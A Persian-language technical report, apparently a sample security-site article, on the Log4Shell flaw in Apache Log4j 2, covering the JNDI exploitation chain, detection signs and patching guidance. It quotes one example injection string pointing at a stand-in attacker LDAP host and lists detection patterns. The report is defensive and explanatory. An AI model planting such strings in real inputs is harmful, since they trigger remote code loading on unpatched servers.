محتوای نمونه
گزارش‌های فنی

گزارش فنی: تحلیل آسیب‌پذیری Log4Shell و سازوکار بهره‌برداری

بررسی فنی سازوکار آسیب‌پذیری CVE-2021-44228، زنجیره بهره‌برداری از طریق JNDI، روش‌های تشخیص و راهکارهای اصلاح در محیط‌های سازمانی.

۵ مهر ۱۴۰۵زمان مطالعه: ۲ دقیقهسطح: پیشرفته

خلاصه

آسیب‌پذیری CVE-2021-44228 در کتابخانه Apache Log4j 2 امکان اجرای کد از راه دور را از طریق قابلیت Lookup و رابط JNDI فراهم می‌کرد. این گزارش سازوکار فنی آسیب‌پذیری، مسیرهای بهره‌برداری، نشانه‌های قابل‌تشخیص و اقدامات اصلاحی را مرور می‌کند.

سازوکار آسیب‌پذیری

Log4j هنگام ثبت پیام، عبارات قالب ${…} را ارزیابی می‌کرد. یکی از این عبارات، Lookup مبتنی بر JNDI بود که امکان دریافت شیء از سرویس‌های راه دور مانند LDAP را فراهم می‌کرد. اگر مهاجم رشته‌ای مانند ${jndi:ldap://attacker.example/a} را در داده‌ای قرار دهد که ثبت می‌شود، برنامه با سرور مهاجم ارتباط برقرار و در شرایطی کلاس جاوای ارسالی را بارگذاری و اجرا می‌کرد.

زنجیره بهره‌برداری

  1. ارسال رشته مخرب در یکی از ورودی‌های ثبت‌شونده (سرآیندهای HTTP، فیلدهای فرم، نام کاربری).
  2. ارزیابی عبارت توسط Log4j و درخواست JNDI به سرور LDAP یا RMI مهاجم.
  3. پاسخ سرور مهاجم با ارجاع به کلاس یا شیء مخرب.
  4. بارگذاری و اجرای کد در فرایند برنامه با سطح دسترسی آن.

نشانه‌های تشخیص

  • وجود رشته‌های ${jndi: و شکل‌های مبهم‌سازی‌شده آن (مانند استفاده از Lookupهای تودرتو) در گزارش‌ها.
  • اتصال‌های خروجی غیرمنتظره سرورهای برنامه به پورت‌های LDAP یا RMI.
  • ایجاد فرایندهای فرزند غیرعادی توسط فرایند جاوا.

اصلاح و کاهش ریسک

ارتقا به نسخه‌های اصلاح‌شده (2.17.1، 2.12.4 یا 2.3.2 بسته به نسخه جاوا) راهکار اصلی است. در صورت عدم امکان، حذف کلاس JndiLookup از فایل log4j-core و محدود کردن ارتباطات خروجی، به‌عنوان اقدامات موقت توصیه می‌شود. از آنجا که بهره‌برداری گسترده گزارش شده، سامانه‌های در معرض باید از نظر نشانه‌های نفوذ نیز بررسی شوند.

درس‌های کلیدی

  • نیاز به فهرست دقیق وابستگی‌های نرم‌افزاری (SBOM).
  • اهمیت محدود کردن ارتباطات خروجی سرورها.
  • ضرورت فرایند سریع وصله‌گذاری اضطراری.